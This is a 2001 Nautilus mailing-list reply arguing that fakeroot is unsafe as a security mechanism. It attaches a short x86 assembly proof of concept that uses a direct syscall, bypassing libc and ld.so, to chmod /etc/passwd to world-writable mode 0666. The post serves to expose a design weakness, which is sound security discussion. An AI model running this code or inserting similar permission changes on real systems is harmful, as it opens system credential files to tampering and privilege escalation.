[PMH] Re: [Nautilus-list] Idea for Nautilus and GMC.

[Elliot Lee]

On Thu, 24 May 2001, Ian Peters wrote:

> Have you used fakeroot before?  That's exactly what it does, and it
> seems to work fine.

Attached is a program to let everyone edit /etc/passwd.

	cc -c t.S
	ld -o t t.o

The two problems with fakeroot for security are that it assumes everything
uses ld.so, and it assumes everything makes system calls by going through
the regular libc wrapper functions.

-- Elliot
A fool and his money were lucky to get together in the first place.
	(WC Fields)


-------------- next part --------------
#include <asm/unistd.h>

	.file	"fakerootsucks.c"
.section	.rodata

etcpasswd:
	.string	"/etc/passwd"
.text
	.align 4
.globl _start
	.type	 _start, at function
_start:
	movl $__NR_chmod, %eax
	movl $etcpasswd, %ebx
	movl $438, %ecx
	int $0x80
	movl $__NR_exit, %eax
	movl $0, %ebx
	int $0x80
.Lfe1:
	.size	 _start,.Lfe1-_start